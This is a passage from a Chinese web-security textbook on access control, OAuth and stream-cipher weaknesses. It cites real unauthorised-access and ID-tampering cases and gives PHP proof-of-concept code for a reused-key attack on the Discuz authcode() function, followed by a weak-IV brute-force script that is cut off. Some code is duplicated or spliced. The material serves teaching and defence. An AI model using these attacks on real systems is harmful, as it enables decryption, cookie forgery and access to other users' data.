I？”的问题，它就像一个房间的大门一样，是非常关键的一个环节。认证的手段是丰富多彩的。在互联网中，除了密码可以用于认证外，还有很多新的认证方式可供使用。我们也可以组合使用各种认证手段，以双因素认证或多因素认证的方式，提高系统的安全强度。在Web应用中，用户登录之后，服务器端通常会建立一个新的Session以跟踪用户的状态。每个Session对应一个标识符SessionID，SessionID用来标识用户身份，一般是加密保存在Cookie中。有的网站也会将Session保存在Cookie中，以减轻服务器端维护Session的压力。围绕着Session可能会产生很多安全问题，这些问题都是在设计安全方案时需要考虑到的。本章的最后介绍了单点登录，以及最大的单点登录实现：OpenID。单点登录有利有弊，但只要能够合理地运用这些技术，对网站的安全就都是有益处的。\n第10章 访问控制“权限”一词在安全领域出现的频率很高。“权限”实际上是一种“能力”。对于权限的合理分配，一直是安全设计中的核心问题。但“权限”一词的中文含义过于广泛，因此本章中将使用“访问控制”代替。在互联网安全领域，尤其是Web安全领域中，“权限控制”的问题都可以归结为“访问控制”的问题，这种描述也更精确一些。\n10.1 What Can I Do?在上一章中，我们曾指出“认证（Authentica-tion）”与“授权（Authorization）”的不同。“认证”解决了“Who am I?”的问题，而“授权”则解决了“What can I do?”的问题。权限控制，或者说访问控制，广泛应用于各个系统中。抽象地说，都是某个主体（subject）对某个客体（object）需要实施某种操作（operation），而系统对这种操作的限制就是权限控制。在网络中，为了保护网络资源的安全，一般是通过路由设备或者防火墙建立基于IP的访问控制。这种访问控制的“主体”是网络请求的发起方（比如一台PC），“客体”是网络请求的接收方（比如一台服务器），主体对客体的“操作”是对客体的某个端口发起网络请求。这个操作能否执行成功，是受到防火墙ACL策略限制的。防火墙的ACL策略面板在操作系统中，对文件的访问也有访问控制。此时“主体”是系统的用户，“客体”是被访问的文件，能否访问成功，将由操作系统给文件设置的ACL（访问控制列表）决定。比如在Linux系统中，一个文件可以执行的操作分为“读”、“写”、“执行”三种，分别由r、w、x表示。这三种操作同时对应着三种主体：文件拥有者、文件拥有者所在的用户组、其他用户。主体、客体、操作这三者之间的对应关系，构成了访问控制列表。Linux的文件权限在一个安全系统中，确定主体的身份是“认证”解决的问题；而客体是一种资源，是主体发起的请求的对象。在主体对客体进行操作的过程中，系统控制主体不能“无限制”地对客体进行操作，这个过程就是“访问控制”。主体“能够做什么”，就是权限。权限可以细分成不同的能力（capability）。在Linux的文件系统中，将权限分成了“读”、“写”、“执行”三种能力。用户可能对某个文件拥有“读”的权限，但却没有“写”的权限。在Web应用中，根据访问客体的不同，常见的访问控制可以分为“基于URL的访问控制”、“基于方法（method）的访问控制”和“基于数据的访问控制”。一般来说，“基于URL的访问控制”是最常见的。要实现一个简单的“基于URL的访问控制”，在基于Java的Web应用中，可以通过增加一个fil-ter实现，如下： // 获取访问功能 String url=request.getRequestPath(); // 进行权限验证 User user=request.getSession().get(\"user\"); boolean permit=PrivilegeManager.permit( user, url ); if( permit ) { chain.doFilter( request, response ); } else { // 可以转到提示界面}当访问控制存在缺陷时，会如何呢？我们看看下面这些真实的案例，这些案例来自漏洞披露平台WooYun。凤凰网分站后台某页面存在未授权访问漏洞，导致攻击者可以胡乱修改节目表：凤凰网分站的后台mop后台管理系统未授权访问：mop后台网易某分站后台存在未授权访问：网易某分站的后台酷6网某活动用户审核页面未授权访问：酷6网后台在正常情况下，管理后台的页面应该只有管理员才能够访问。但这些系统未对用户访问权限进行控制，导致任意用户只要构造出了正确的URL，就能够访问到这些页面。在正常情况下，这些管理页面是不会被链接到前台页面上的，搜索引擎的爬虫也不应该搜索到这些页面。但是把需要保护的页面“藏”起来，并不是解决问题的办法。攻击者惯用的伎俩是使用一部包含了很多后台路径的字典，把这些“藏”起来的页面扫出来。比如上面的4个案例中，有3个其管理URL中都包含了“admin”这样的敏感词。而“admin”这个词，必然会被收录在任何一部攻击的字典中。在这些案例的背后，其实只需要加上简单的“基于页面的访问控制”，就能解决问题了。下面我们将探讨如何设计一个访问控制系统。\n10.2 垂直权限管理访问控制实际上是建立用户与权限之间的对应关系，现在应用广泛的一种方法，就是“基于角色的访问控制（Role-Based Access Control）”，简称RBAC。RBAC事先会在系统中定义出不同的角色，不同的角色拥有不同的权限，一个角色实际上就是一个权限的集合。而系统的所有用户都会被分配到不同的角色中，一个用户可能拥有多个角色，角色之间有高低之分（权限高低）。在系统验证权限时，只需要验证用户所属的角色，然后就可以根据该角色所拥有的权限进行授权了。Spring Security中的权限管理，就是RBAC模型的一个实现。Spring Security基于SpringMVC框架，它的前身是Acegi，是一套较为全面的Web安全解决方案。在Spring Security中提供了认证、授权等功能。在这里我们只关注Spring Secu-rity的授权功能。Spring Security提供了一系列的“FilterChain”，每个安全检查的功能都会插入在这个链条中。在与Web系统集成时，开发者只需要将所有用户请求的URL都引入到Filter Chain即可。Spring Security提供两种权限管理方式，一种是“基于URL的访问控制”，一种是“基于method的访问控制”。这两种访问控制都是RBAC模型的实现，换言之，在Spring Security中都是验证该用户所属的角色，以决定是否授权。对于“基于URL的访问控制”，Spring Secu-rity使用配置文件对访问URL的用户权限进行设定，如下：<sec:http> <sec:intercept-url pattern=\"/president_portal.do**\" access=\"ROLE_PRESIDENT\" /> <sec:intercept-url pattern=\"/manager_portal.do**\" access=\"ROLE_MANAGER\" /> <sec:intercept-url pattern=\"/**\" access=\"ROLE_USER\" /> <sec:form-login /> <sec:logout /> </sec:http>不同的URL对于能访问其的角色有着不同的要求。Spring Security还支持“基于表达式的访问控制”，这使得访问控制的方法更加灵活。<http use-expressions=\"true\"> <intercept-url pattern=\"/admin*\" access=\"hasRole('admin') and public List<Contact> getAll();虽然Spring Security的权限管理功能非常强大，但它缺乏一个管理界面可供用户灵活配置，因此每次调整权限时，都需要重新修改配置文件或代码。而其配置文件较为复杂，学习成本较高，维护成本也很高。除了Spring Security外，在PHP的流行框架“Zend Framework”中，使用的Zend ACL实现了一些基础的权限管理。不同于Spring Security使用配置文件管理权限，Zend ACL提供的是API级的权限框架。其实现方式如下：$acl = new Zend_Acl();$acl->addRole(new Zend_Acl_Role('guest')) ->addRole(new Zend_Acl_Role('member')) ->addRole(new Zend_Acl_Role('admin'));$parents = array('guest', 'member', 'admin');$acl->addRole(new Zend_Acl_Role('someUser'), $parents);$acl->add(new Zend_Acl_Resource('someResource'));$acl->deny('guest', 'someResource');$acl->allow('member', 'someResource');echo $acl->isAllowed('someUser', 'someResource') ? 'allowed' :'denied';$acl = new Zend_Acl();权限管理其实是业务需求上的一个问题，需要根据业务的不同需求来实现不同的权限管理。因此很多时候，系统都需要自己定制权限管理。定制一个简单的权限管理系统，不妨选择RBAC模型作为依据。这种基于角色的权限管理（RBAC模型），我们可以称之为“垂直权限管理”。不同角色的权限有高低之分。高权限角色访问低权限角色的资源往往是被允许的，而低权限角色访问高权限角色的资源往往则被禁止。如果一个本属于低权限角色的用户通过一些方法能够获得高权限角色的能力，则发生了“越权访问”。在配置权限时，应当使用“最小权限原则”，并使用“默认拒绝”的策略，只对有需要的主体单独配置“允许”的策略。这在很多时候能够避免发生“越权访问”。\n10.3 水平权限管理在上节中提到权限管理其实是一个业务需求，而业务是灵活多变的，那么“垂直权限管理”是否够用呢？答案是否定的。我们看几个真实的案例。优酷网用户越权访问问题（漏洞编号wooyun-2010-0129）用户登录后，可以通过以下方式查看他人的来往信件（只要更改下面地址的数字id即可），查看和修改他人的专辑信息。http://u.youku.com/my_mail/type_read_ref_inbox_id_52379500_desc_1?__rt=1&__ro=myInboxListhttp://u.youku.com/my_mail/type_read_ref_outbox_id_52380790_desc_1?__rt=1&__ro=myOutboxListhttp://u.youku.com/my_video/type_editfolder_step_1_id_4774704?__rt=1&__ro=myPlaylistList漏洞分析：URL经过rewrite后将参数映射成URL路径，但这并不妨碍通过修改用户id来实现攻击。在这里，id代表资源的唯一编号，因此通过篡改id，就能改变要访问的资源。而优酷网显然没有检查这些资源是否属于当前用户。来伊份购物网站越权访问问题（漏洞编号wooyun-2010-01576）来伊份购物网站没有对用户进行权限控制，通过变化URL中的id参数即可查看对应id的个人姓名、地址等隐私信息。获取他人敏感信息的请求过程漏洞分析：同样的，id是用户的唯一标识，修改id即可修改访问的目标。网站后台应用并未判断资源是否属于当前用户。从这两个例子中我们可以看到，用户访问了原本不属于他的数据。用户A与用户B可能都属于同一个角色RoleX，但是用户A与用户B都各自拥有一些私有数据，在正常情况下，应该只有用户自己才能访问自己的私有数据。但是在RBAC这种“基于角色的访问控制”模型下，系统只会验证用户A是否属于角色RoleX，而不会判断用户A是否能访问只属于用户B的数据DataB，因此，发生了越权访问。这种问题，我们就称之为“水平权限管理问题”。水平权限管理问题示意图相对于垂直权限管理来说，水平权限问题出在同一个角色上。系统只验证了能访问数据的角色，既没有对角色内的用户做细分，也没有对数据的子集做细分，因此缺乏一个用户到数据之间的对应关系。由于水平权限管理是系统缺乏一个数据级的访问控制所造成的，因此水平权限管理又可以称之为“基于数据的访问控制”。在今天的互联网中，垂直权限问题已经得到了普遍的重视，并已经有了很多成熟的解决方案。但水平权限问题却尚未得到重视。首先，对于一个大型的复杂系统来说，难以通过扫描等自动化测试方法将这些问题全部找出来。其次，对于数据的访问控制，与业务结合得十分紧密。有的业务有数据级访问控制的需求，有的业务则没有。要理清楚不同业务的不同需求，也不是件容易的事情。最后，如果在系统已经上线后再来处理数据级访问控制问题，则可能会涉及跨表、跨库查询，对系统的改动较大，同时也可能会影响到性能。这种种原因导致了现在数据级权限管理并没有很通用的解决方案，一般是具体问题具体解决。一个简单的数据级访问控制，可以考虑使用“用户组（Group）”的概念。比如一个用户组的数据只属于该组内的成员，只有同一用户组的成员才能实现对这些数据的操作。此外，还可以考虑实现一个规则引擎，将访问控制的规则写在配置文件中，通过规则引擎对数据的访问进行控制。水平权限管理问题，至今仍然是一个难题——它难以发现，难以在统一框架下解决，在未来也许会有新的技术用以解决此类问题。\n10.4 OAuth简介OAuth是一个在不提供用户名和密码的情况下，授权第三方应用访问Web资源的安全协议。OAuth 1.0于2007年12月公布，并迅速成为了行业标准（可见不同网站之间互通的需求有多么的迫切）。2010年4月，OAuth 1.0正式成为了RFC5849。OAuth 与 OpenID都致力于让互联网变得更加的开放。OpenID解决的是认证问题，OAuth则更注重授权。认证与授权的关系其实是一脉相承的，后来人们发现，其实更多的时候真正需要的是对资源的授权。OAuth委员会实际上是从OpenID委员会中分离出来的（2006年12月），OAuth的设计原本想弥补OpenID中的一些缺陷或者说不够方便的地方，但后来发现需要设计一个全新的协议。OAuth产生的背景常见的应用OAuth的场景，一般是某个网站想要获取一个用户在第三方网站中的某些资源或服务。比如在人人网上，想要导入用户MSN里的好友，在没有OAuth时，可能需要用户向人人网提供MSN用户名和密码。人人网要求用户输入MSN密码这种做法使得人人网会持有用户的MSN账户和密码，虽然人人网承诺持有密码后的安全，但这其实扩大了攻击面，用户也难以无条件地信任人人网。而OAuth则解决了这个信任的问题，它使得用户在不需要向人人网提供MSN用户名和密码的情况下，可以授权MSN将用户的好友名单提供给人人网。在OAuth 1.0中，涉及3个角色，分别是： Consumer：消费方（Client）Service Provider：服务提供方（Server）User：用户（Resource Owner）在新版本的OAuth中，又被称为Client、Server、Resource Owner。在上面的例子中，Client是人人网，Server是MSN，Resource Owner是用户。我们再来看一个实际场景。假设Jane在faji.com上有两张照片，她想将这两张照片分享到beppa.com，通过OAuth，这个过程是如何实现的呢？Jane在beppa.com上，选择要从faji.com上分享照片。在beppa.com后台，则会创建一个临时凭证（Temporary Credentials），稍后Jane将持此临时凭证前往faji.com。然后页面跳转到faji.com的OAuth页面，并要求Jane登录。注意，这里是在faji.com上登录！登录成功后，faji.com会询问Jane是否授权beppa.com访问Jane在faji.com里的私有照片。如果Jane授权成功（点击“Approve”按钮），faji.com会将Jane带来的临时凭证（Temporary Credentials）标记为“Jane已经授权”，同时跳转回beppa.com，并带上临时凭证（Temporary Cre-dentials）。凭此，beppa.com知道它可以去获取Jane的私有照片了。对于beppa.com来说，它首先通过RequestToken去faji.com换取Access Token，然后就可以用Access Token访问资源了。Request Token只能用于获取用户的授权，Access Token才能用于访问用户的资源。最终，Jane成功地将她的照片从faji.com分享到beppa.com上。我们也可以参考如下新浪微博开放平台的OAuth的授权过程，它与上面描述的过程是一样的。新浪微博的OAuth使用过程OAuth的发展道路并非一帆风顺，OAuth 1.0也曾经出现过一些漏洞，因此OAuth也出过几个修订版本，最终才在2010年4月定稿OAuth 1.0为 RFC 5849，在这个版本中，修复了所有已知的安全问题，并对实现OAuth协议需要考虑的安全因素给出了建议。OAuth标准中的安全建议事实上，自己完全实现一个OAuth协议对于中小网站来说并没有太多的必要，且OAuth涉及诸多加密算法、伪随机数算法等容易被程序员误用的地方，因此使用第三方实现的OAuth库也是一个较好的选择。目前有以下这些比较知名的OAuth库可供开发者选择：ActionScript/Flashoauth-as3 http://code.google.com/p/oauth-as3/A flex oauthclient http://www.arcgis.com/home/item.html?id=ff6ffa302ad04a7194999f2ad08250d7C/C++QTweetLib http://github.com/minimoog/QTweetLiblibOAuth http://liboauth.sourceforge.net/clojureclj-oauth http://github.com/mattrepl/clj-oauth.netoauth-dot-net http://code.google.com/p/oauth-dot-net/DotNetOpenAuth http://www.dotnetopenauth.net/Erlangerlang-oauth http://github.com/tim/erlang-oauthJavaScrible http://github.com/fernandezpablo85/scribe-javaoauth-signpost http://code.google.com/p/oauth-signpost/JavaScriptoauth in js http://oauth.googlecode.com/svn/code/javascript/Objective-C/Cocoa & iPhone programmingOAuthCore http://bitbucket.org/atebits/oauthcoreMPOAuthConnection http://code.google.com/p/mpoauthconnection/Objective-C OAuth http://oauth.googlecode.com/svn/code/obj-c/PerlNet::OAuth http://oauth.googlecode.com/svn/code/perl/PHPtmhOAuth http://github.com/themattharris/tmhOAuthoauth-php http://code.google.com/p/oauth-php/Pythonpython-oauth2 http://github.com/brosner/python-oauth2QtqOauth http://github.com/ayoy/qoauthRubyOauth ruby gem http://oauth.rubyforge.org/ScalaDataBinder Dispatch http://dispatch.databinder.net/AboutOAuth 1.0已经成为了RFC标准，但OAuth2.0仍然在紧锣密鼓的制定中，到2011年年底已经有了一个较为稳定的版本。OAuth 2.0吸收了OAuth 1.0的经验，做出了很多调整。它大大地简化了流程，改善了用户体验。两者并不兼容，但从流程上看区别不大。常见的需要用到OAuth的地方有桌面应用、手机设备、Web应用，但OAuth 1.0只提供了统一的接口。这个接口对于Web应用来说尚可使用，但手机设备和桌面应用用起来则会有些别扭。同时OAuth 1.0的应用架构在扩展性方面也存在一些问题，当用户请求数庞大时，可能会遇到一些性能瓶颈。为了改变这些问题，OAuth 2.0应运而生。\n10.5 小结在本章中，介绍了安全系统中的核心：访问控制。访问控制解决了“What Can I Do？”的问题。还分别介绍了“垂直权限管理”，它是一种“基于角色的访问控制”；以及“水平权限管理”，它是一种“基于数据的访问控制”。这两种访问控制方式，在进行安全设计时会经常用到。访问控制与业务需求息息相关，并非一个单纯的安全问题。因此在解决此类问题或者设计权限控制方案时，要重视业务的意见。最后，无论选择哪种访问控制方式，在设计方案时都应该满足“最小权限原则”，这是权限管理的黄金法则。\n第11章 加密算法与随机数加密算法与伪随机数算法是开发中经常会用到的东西，但加密算法的专业性非常强，在Web开发中，如果对加密算法和伪随机数算法缺乏一定的了解，则很可能会错误地使用它们，最终导致应用出现安全问题。本章将就一些常见的问题进行探讨。\n11.1 概述密码学有着悠久的历史，它满足了人们对安全的最基本需求——保密性。密码学可以说是安全领域发展的基础。达芬奇密码筒在Web应用中，常常可以见到加密算法的身影，最常见的就是网站在将敏感信息保存到Cookie时使用的加密算法。加密算法的运用是否正确，与网站的安全息息相关。常见的加密算法通常分为分组加密算法与流密码加密算法两种，两者的实现原理不同。分组加密算法基于“分组”（block）进行操作，根据算法的不同，每个分组的长度可能不同。分组加密算法的代表有DES、3-DES、Blowfish、IDEA、AES等。下图演示了一个使用CBC模式的分组加密算法的加密过程。流密码加密算法，则每次只处理一个字节，密钥独立于消息之外，两者通过异或实现加密与解密。流密码加密算法的代表有RC4、ORYX、SEAL等。下图演示了流密码加密算法的加密过程。针对加密算法的攻击，一般根据攻击者能获得的信息，可以分为：唯密文攻击攻击者有一些密文，它们是使用同一加密算法和同一密钥加密的。这种攻击是最难的。已知明文攻击攻击者除了能得到一些密文外，还能得到这些密文对应的明文。本章中针对流密码的一些攻击为已知明文攻击。选择明文攻击攻击者不仅能得到一些密文和明文，还能选择用于加密的明文。选择密文攻击攻击者可以选择不同的密文来解密。本章中所提到的“Padding Oracle Attack”就是一种选择密文攻击。密码学在整个安全领域中是非常大的一个课题，本书中仅探讨几种常见的加密算法在运用时的安全问题。\n11.2 Stream Cipher Attack流密码是常用的一种加密算法，与分组加密算法不同，流密码的加密是基于异或（XOR）操作进行的，每次都只操作一个字节。但流密码加密算法的性能非常好，因此也是非常受开发者欢迎的一种加密算法。常见的流密码加密算法有RC4、ORYX、SEAL等。11.2.1 Reused Key Attack在流密码的使用中，最常见的错误便是使用同一个密钥进行多次加/解密。这将使得破解流密码变得非常简单。这种攻击被称为“Reused Key At-tack”，在这种攻击下，攻击者不需要知道密钥，即可还原出明文。假设有密钥C，明文A，明文B，那么，XOR加密可表示为：E(A) = A xor CE(B) = B xor C密文是公之于众的，因此很容易就可计算：E(A) xor E(B)因为两个相同的数进行XOR运算结果为0，由此可得：E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B从而得到了：E(A) xor E(B) = A xor B这意味着4个数据中，只需要知道3个，就可以推导出剩下的一个。这个公式中密钥C在哪里？已经完全不需要了！我们来看一个实际的例子。在Ucenter中，有一个用于加密的函数，函数名为authcode()，它是一个典型的流密码加密算法。这个函数在Discuz!的产品中被广泛使用，同时很多PHP开源程序也直接引用此函数，甚至还有开发者实现了auth-code()函数的Java、Ruby版本。对这个函数的分析如下：// $string： 明文 或 密文// $operation：DECODE表示解密，其他表示加密// $key： 密匙// $expiry：密文有效期//字符串解密/加密function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { // 动态密匙长度，相同的明文会生成不同密文就是依靠动态密匙 (初始化向量IV) $ckey_length = 4; // 随机密钥长度 取值 0～32 // 加入随机密钥，可以令密文无任何规律，即便是原文和密钥完全相同，加密结果也会每次不同 // 增大破解难度（实际上就是IV） // 取值越大，密文变动规律越大，密文变化 = 16 的 $ckey_length 次方 // 当此值为 0 时，则不产生随机密钥 // 密匙 $key = md5($key ? $key : UC_KEY); // 密匙a会参与加/解密 $keya = md5(substr($key, 0, 16)); // 密匙b会用来做数据完整性验证 $keyb = md5(substr($key, 16, 16)); // 密匙c用于变化生成的密文(初始化向量IV) $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; // 参与运算的密匙 $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); // 明文，前10位用来保存时间戳，解密时验证数据有效性，10到26位用来保存$keyb(密匙b) //解密时会通过这个密匙验证数据完整性 // 如果是解码的话，会从第$ckey_length位开始，因为密文前$ckey_length位保存动态密匙 //以保证解密正确 $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加/解密部分 for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; // 从密匙簿得出密匙进行异或，再转成字符 $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { // 验证数据有效性，请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里，这也是为什么同样的明文，产生不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符，复制过程可能会丢失，所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); }}这个函数看似经过了一系列的复杂调用，其实到了最后，仍然还是逐字节地进行XOR运算，其实现XOR加密过程的代码只有一行：$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));再注意其他几个细节。首先，外部传入的加密KEY，其值会经过MD5运算，因此长度是固定的32位。function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16));authcode()这个函数的常见调用方式为：authcode($plaintext, \"ENCODE\" , UC_KEY)其中，UC_KEY为配置在每个应用中的密钥，但这个密钥并非真正用于XOR运算的那个密钥。其次，keyc是初始化向量（IV）。如果定义了ckey_length，则它会根据microtime()的结果生成，并随后会影响到随机密钥的生成。 $ckey_length = 4; …… $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; …… $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }初始化向量的作用就是一次一密。使用随机的初始化向量，明文每次加密后产生的密文都是不同的，增加了密文的安全性。但初始化向量本身并不需要保证其私密性，甚至为了密文接收方能够成功解密，需要将初始化向量以明文的形式传播。为了演示Reused Key Attack，暂且将ckey_length设置为0，这样就不会有初始化向量。下面为一段攻击的演示代码。<?phpdefine('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa');$plaintext1 = \"aaaabbbb\";$plaintext2 = \"ccccbbbb\";echo \"plaintext1 is: \".$plaintext1.\"<br>\";echo \"plaintext2 is: \".$plaintext2.\"<br>\";$cipher1 = base64_decode(substr(authcode($plaintext1, \"ENCODE\" , UC_KEY), 0));echo \"Cipher1 is: \".hex($cipher1).'<br><br>';$cipher2 = base64_decode(substr(authcode($plaintext2, \"ENCODE\" , UC_KEY), 0));echo \"Cipher2 is: \".hex($cipher2).'<br><br>';function hex($str){ $result = ''; for ($i=0;$i<strlen($str);$i++){ $result .= \"\\\\x\".ord($str[$i]); } return $result;}echo \"crack result is :\".crack($plaintext1, $cipher1, $cipher2);function crack($plain, $cipher_p, $cipher_t){ $target = ''; $len = strlen($plain); $tmp_p = substr($cipher_p, 26); echo hex($tmp_p).\"<br>\"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t).\"<br>\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target;}echo \"crack result is :\".crack($plaintext1, $cipher1, $cipher2);function crack($plain, $cipher_p, $cipher_t){ $target = ''; $len = strlen($plain); $tmp_p = substr($cipher_p, 26); echo hex($tmp_p).\"<br>\"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t).\"<br>\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target;}function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { //$ckey_length = 4; $ckey_length = 0; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } $xx = ''; // real key for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $xx .= chr($box[($box[$a] + $box[$j]) % 256]); $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } echo \"xor key is: \".hex($xx).\"<br>\"; if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &&substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }}?>结果如下：输入的明文1是“aaaabbbb”，明文2是“cc-ccbbbb”。通过authcode()的算法分别得到了两个密文Cipher1与Cipher2。根据算法，密文前10位用于验证时间，10到26位用于验证完整性，因此真正的密文是从第27位开始的，在此分别如下：根据之前的公式：E(A) xor E(B) = A xor B已知任意3个值即可推算出剩下的一个值，因此有：aaaabbbb XOR ‘\\x227\\x42\\x31\\x204\\x251\\x24\\x114\\x89’ XOR ‘\\x225\\x40\\x29\\x206\\x251\\x24\\x114\\x89’ = ccccbbbb从而还原出了明文。这个过程在crack()函数中描述：function crack($plain, $cipher_p, $cipher_t){ $target = ''; $len = strlen($plain); $tmp_p = substr($cipher_p, 26); echo hex($tmp_p).\"<br>\"; $tmp_t = substr($cipher_t, 26); echo hex($tmp_t).\"<br>\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target;}这里之所以能攻击成功，是因为第一次加密时使用的密钥和第二次使用的密钥相同，因此我们才能通过XOR运算还原出明文，形成 Reused KeyAttack。第一次加密时的key：第二次加密时的key：但如果存在初始化向量，则相同明文每次加密的结果均不同，将增加破解的难度，即不受此攻击影响。因此当：$ckey_length = 4;时（这也是默认值），authcode()将产生随机密钥，算法的强度也就增加了。但如果IV不够随机，攻击者有可能找到相同的IV，则在相同IV的情况下仍然可以实施“Reused Key Attack”。在“WEP破解”一节中，就是找到了相同的IV，从而使得攻击成功。\n11.2.2 Bit-flipping Attack再次回到公式上来：E(A) xor E(B) = A xor B由此可以得出：A xor E(A) xor B = E(B)这意味着当知道A的明文、B的明文、A的密文时，可以推导出B的密文。这在实际应用中非常有用。比如一个网站应用，使用Cookie作为用户身份的认证凭证，而Cookie的值是通过XOR加密而得的。认证的过程就是服务器端解密Cookie后，检查明文是否合法。假设明文是：username+role那么当攻击者注册了一个普通用户A时，获取了A的Cookie为Cookie(A)，就有可能构造出管理员的Cookie，从而获得管理员权限：(accountA+member) xor Cookie(A) xor (admin_account+manager) = Cookie(admin)在密码学中，攻击者在不知道明文的情况下，通过改变密文，使得明文按其需要的方式发生改变的攻击方式，被称为Bit-flipping Attack。解决Bit-flipping攻击的方法是验证密文的完整性，最常见的方法是增加带有KEY的MAC（消息验证码，Message Authentication Code），通过MAC验证密文是否被篡改。MAC的防篡改原理图通过哈希算法来实现的MAC，称为HMAC。HMAC由于其性能较好，而被广泛使用。如下图所示为HMAC的一种实现。HMAC的实现过程在authcode()中，其实已经实现了HMAC，所以攻击者在不知晓加密KEY的情况下，是无法完成Bit-flipping攻击的。注意这段代码：if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result,10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; }其中，密文的前10个字节用于验证时间是否有效，10～26个字节即为HMAC，用于验证密文是否被篡改，26个字节之后才是真正的密文。HMAC由以下代码实现：md5(substr($result, 26).$keyb)这个值与两个因素有关，一个是真正的密文：substr($result, 26)；一个是$keyb，而$keyb又是由加密密钥KEY变化得到的，因此在不知晓KEY的情况下，这个HMAC的值是无法伪造出来的。因此HMAC有效地保证了密文不会被篡改。\n11.2.3 弱随机IV问题在authcode()函数中，它默认使用了4字节的IV（就是函数中的keyc），使得破解难度增大。但其实4字节的IV是很脆弱的，它不够随机，我们完全可以通过“暴力破解”的方式找到重复的IV。为了验证这一点，调整一下破解程序，如下：<?phpdefine('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa');$plaintext1 = \"aaaabbbbxxxx\";$plaintext2 = \"ccccbbbbcccc\";$guess_result = \"\";$time_start = time();$dict = array();global $ckey_length;$ckey_length = 4;echo \"Collecting Dictionary(XOR Keys).\\n\";$cipher2 = authcode($plaintext2, \"ENCODE\" , UC_KEY);$counter = 0;for (;;){ $counter ++; $cipher1 = authcode($plaintext1, \"ENCODE\" , UC_KEY); $keyc1 = substr($cipher1, 0, $ckey_length); $cipher1 = base64_decode(substr($cipher1, $ckey_length)); $dict[$keyc1] = $cipher1; if ( $counter%1000 == 0){ echo \".\"; if ($guess_result = guess($dict, $cipher2)){ break; } }}array_unique($dict);echo \"\\nDictionary Collecting Finished..\\n\";echo \"Collected \".count($dict).\" XOR Keys\\n\";function guess($dict, $cipher2){ global $plaintext1,$ckey_length; $keyc2 = substr($cipher2, 0, $ckey_length); $cipher2 = base64_decode(substr($cipher2, $ckey_length)); for ($i=0; $i<count($dict); $i++){ if 